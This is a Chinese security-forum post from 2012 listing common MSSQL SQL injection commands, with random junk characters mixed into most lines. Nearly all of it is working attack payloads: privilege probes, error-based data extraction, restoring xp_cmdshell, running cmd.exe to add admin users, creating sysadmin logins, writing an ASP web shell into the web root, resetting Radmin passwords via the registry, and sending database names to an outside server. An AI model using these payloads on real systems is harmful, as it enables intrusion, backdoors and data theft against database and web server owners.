找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的( M  G% k0 Z0 Z0 q- D1 q/ s# E
and 1=(Select IS_MEMBER('db_owner'))! x& l9 @; P1 K: g" M/ c) h; S7 r8 l
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
! h5 B) S, E4 n8 v% ]# j; G% Z% B9 B  x: e0 r( j( \
//检测是否有读取某数据库的权限
7 A: j- c( X8 ]5 f; E2 R" |and 1= (Select HAS_DBACCESS('master'))9 [3 A$ U, }' x* y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --4 e. g$ u1 |0 K2 r. W( H" v4 W* U
& U" [9 `1 V( P( d
: C8 m! K5 Z( |; K3 d8 R+ w
数字类型
3 R7 Y- m/ z. _and char(124)%2Buser%2Bchar(124)=0$ }, T8 t8 x8 W. y# [- c' q
  Y8 @) U) _: X9 E& m% s
字符类型# O$ y3 T" @5 C1 J% _9 R( F
' and char(124)%2Buser%2Bchar(124)=0 and ''='
6 p( Z' s" _4 u4 v  H
5 E% k5 `7 @: t$ {+ B- T  l搜索类型
; x3 g& y8 `* U) g; ]3 f8 ^' and char(124)%2Buser%2Bchar(124)=0 and '%'='
2 F# t- H$ O, s2 b; h' s, D2 `1 i# V
爆用户名
) |. q! @" U, d! Z: b3 S2 Hand user>0
% I8 w% t" @' `( {. g! P- y' and user>0 and ''='# `1 j6 c: `: Z: H- w1 m: a4 C

! P7 {2 t- p5 z; P- E5 _检测是否为SA权限7 z7 d; y: w8 G
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--$ O$ B( x. u* I9 K0 B$ e" S" N0 B
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --% i5 S8 H7 K4 u

0 \, D+ d- b9 R0 L检测是不是MSSQL数据库
+ G3 J" H2 l6 ~6 C' O" m1 Hand exists (select * from sysobjects);--* l& M$ h/ ?5 X; d" H3 `
3 Y" p$ ~4 H" C6 D0 y: ~% x
检测是否支持多行+ g- D! D9 F% N9 B; [' r
;declare @d int;--
  X& b( h4 A! o* Z* ]) X3 X7 Q
: Z3 f* a% |1 X* W5 y4 d5 \: e恢复 xp_cmdshell
+ W, P) z+ w% [;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
! w+ M; ?8 q- e; d( Y3 n5 x
6 K. Y& Y1 L6 z; L9 ]  D8 d0 v  }$ p& w# }" v/ t, Y4 x6 \
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
5 |6 z% v  M# S' F6 @$ h$ W0 m7 C% |2 c' i9 h3 x& \8 \
//-----------------------
" Y: R& `) }9 W//       执行命令
" R" ?4 y+ \0 Y; C//-----------------------8 t& I( V- X1 ~+ j
首先开启沙盘模式:7 p* c) d; a! `; {0 i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 E6 Q  g9 l- _3 x; G  b' X2 w/ c  s6 w& G- R2 O- ~
然后利用jet.oledb执行系统命令
$ [( e! N" C  P4 t+ x( y# Zselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')& s8 ?2 U* @1 |( h4 T
; |& n) Q% A: b# n+ Z3 c8 `. R
执行命令7 X' P2 O4 ^6 p" ?
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--. f% j% b/ _1 G! R7 m, i
3 s3 p' t8 ~5 b; s% R
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
1 L+ N/ s3 R8 n; \
! k8 ~* J! c5 }判断xp_cmdshell扩展存储过程是否存在:' A5 z/ a. \- m. G1 b
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')1 n1 D4 w3 W; `- Y  g# X* H

: C5 j; v! {  Y, _3 {写注册表
7 y: b- `. y+ _: {0 Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1/ g3 x4 Z8 y* u1 ]
4 C/ }4 k" W7 a# e; g" n: w
REG_SZ' ~* d+ V& `* |6 F# t" b# b

% a$ r- A7 T! l( t2 s9 w; O读注册表
2 a2 d5 W* _0 B6 X4 _- r% M, g+ o) oexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
$ ]5 |' [! l" g& B! l; I) X' A# P% `
读取目录内容3 i: U: s; H  ~! g
exec master..xp_dirtree 'c:\winnt\system32\',1,1
0 F4 j3 |" y4 m; m8 F( \! S2 f: c5 i, g, |
4 e+ B# I" Q5 c
数据库备份
1 D7 T$ X! L) F) l$ Rbackup database pubs to disk = 'c:\123.bak'
  k! B7 ~- T! d
' \) w! T$ ?" S  t, [//爆出长度, [% T5 }# F. a' J1 t, D7 A( l
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 k% V/ R3 @3 x& j

' ~$ A) y' {0 D0 [( \- J
; f5 N- f5 F6 Y2 l# c; u9 J) K8 C: [  x8 w! y
更改sa口令方法:用sql综合利用工具连接后,执行命令:
/ R: a% P4 N1 C' d3 d5 nexec sp_password NULL,'新密码','sa'
& S  C3 v. S# ?& A5 I' E3 _0 }4 X. ]& F' W& {! H
添加和删除一个SA权限的用户test:- t3 m+ ~8 s! x$ B3 c% L
exec master.dbo.sp_addlogin test,9530772- P0 ^" o, K& n/ |2 L) f5 Q7 B& ^
exec master.dbo.sp_addsrvrolemember test,sysadmin
6 C# |1 T/ c& A6 g: c" J* r; G
$ _2 f) z* \; i, g7 Q1 c4 J  u删除扩展存储过过程xp_cmdshell的语句:, `0 h; @0 V! U' Y, P
exec sp_dropextendedproc 'xp_cmdshell'/ f; B. k+ p. S3 o, b4 [2 d' F4 q5 M

# @8 m- x8 X( @# N1 E( k添加扩展存储过过程3 c; |8 _" H. O+ k( e
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'1 c- j3 Q. u% G3 o& a
GRANT exec On xp_proxiedadata TO public: A7 T! L$ r. N* L  H

& D2 M! M$ D( F( i# ^; h% g0 H+ P
停掉或激活某个服务。9 U( y; o% |$ r+ ~- l
2 H- |+ C3 N- D* }7 V
exec master..xp_servicecontrol 'stop','schedule'
- t$ R& p- w! Gexec master..xp_servicecontrol 'start','schedule'0 T5 y& i6 l7 T# U" t

0 c3 g; o1 [2 a1 \" Pdbo.xp_subdirs
; Z; c4 ]6 f  m7 z, F/ |- |' Y& D4 r; |$ L1 ~2 s6 E1 ]/ f
只列某个目录下的子目录。- a4 J* j2 ]- T1 I& n# j8 N
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
+ T- w! i1 X2 W) K1 s  B
. \# o6 q8 K1 H6 t8 Y$ ndbo.xp_makecab) H- w4 D9 U9 t# R+ |" c8 ^; Z
$ |! y, O2 T+ q7 s. Z# ]) T: u
将目标多个档案压缩到某个目标档案之内。/ N+ X( D" N+ c/ N4 W" B$ C  |1 Q
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。+ [  a& S/ j* o3 n! K
; |5 @9 n0 a2 E, d
dbo.xp_makecab) {- s4 O9 |/ Q( O/ F1 u/ w
'c:\test.cab','mszip',1,
, \+ L: @# g5 b0 ['C:\Inetpub\wwwroot\SQLInject\login.asp',( B! V; f  q* w8 n& `) G& e4 v
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'* Y; z, z9 e/ u# L; N
) `: w4 V5 y. _- N5 V3 l" }
xp_terminate_process# w9 q# F5 u! R+ p$ R1 O- Z# I2 L

7 j! Y. j/ n9 H7 W停掉某个执行中的程序,但赋予的参数是 Process ID。9 m! Q/ }) c1 X
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID$ P  d0 o/ M% U, H, Q& n
2 ?! I8 h7 W8 m+ f! ~
xp_terminate_process 2484
7 k0 B1 F6 o. W. i$ T4 i6 }& s) J* x9 d
xp_unpackcab$ {, p6 c- W! h
& J$ a1 j. F0 w8 S, B. N
解开压缩档。
4 d, G2 M) G  W+ ~' {8 r# `' F
xp_unpackcab 'c:\test.cab','c:\temp',1
1 B3 b) K. A) S) a  k% ^( c. \& z! g
" X1 Q* C- ^1 d# a2 K
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; K* u* G* k6 q: L, \9 ?
+ m& d/ w1 w0 D# n- [  u7 i
create database lcx;- t  h0 J$ G2 [7 J  M" c
Create TABLE ku(name nvarchar(256) null);
9 O; _; S/ M1 d3 \Create TABLE biao(id int NULL,name nvarchar(256) null);
2 o, u  ^/ @# [* x8 ?: \0 n
: S  ~2 A% r9 S//得到数据库名( S9 }0 [+ t1 f, S5 [
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
6 P4 B& F; }% F" j. b: G$ {$ Y# L" t# i. H, a: C* n
9 Z) E6 |( m! f$ ?6 |. @
//在Master中创建表,看看权限怎样
' W$ C* h' C9 z- y4 t& Z3 q" ]Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 J4 ~/ b  ^2 p2 U
; A: c4 q+ A3 `5 l$ P用 sp_makewebtask直接在web目录里写入一句话马:
0 G' J: K, ~, B1 N5 s( qhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--+ }% Y+ B3 ]8 x4 v2 v1 w0 ?' b

& U7 o2 g  c2 N5 Q' [  e//更新表内容
/ X* V/ R4 n: WUpdate films SET kind = 'Dramatic' Where id = 123
8 V9 X0 I" r) b9 e( r6 |6 {+ F1 P* [" Q6 R1 k5 P: I
//删除内容
' c1 P4 R6 @  ^! M0 {1 [  `& W& zdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表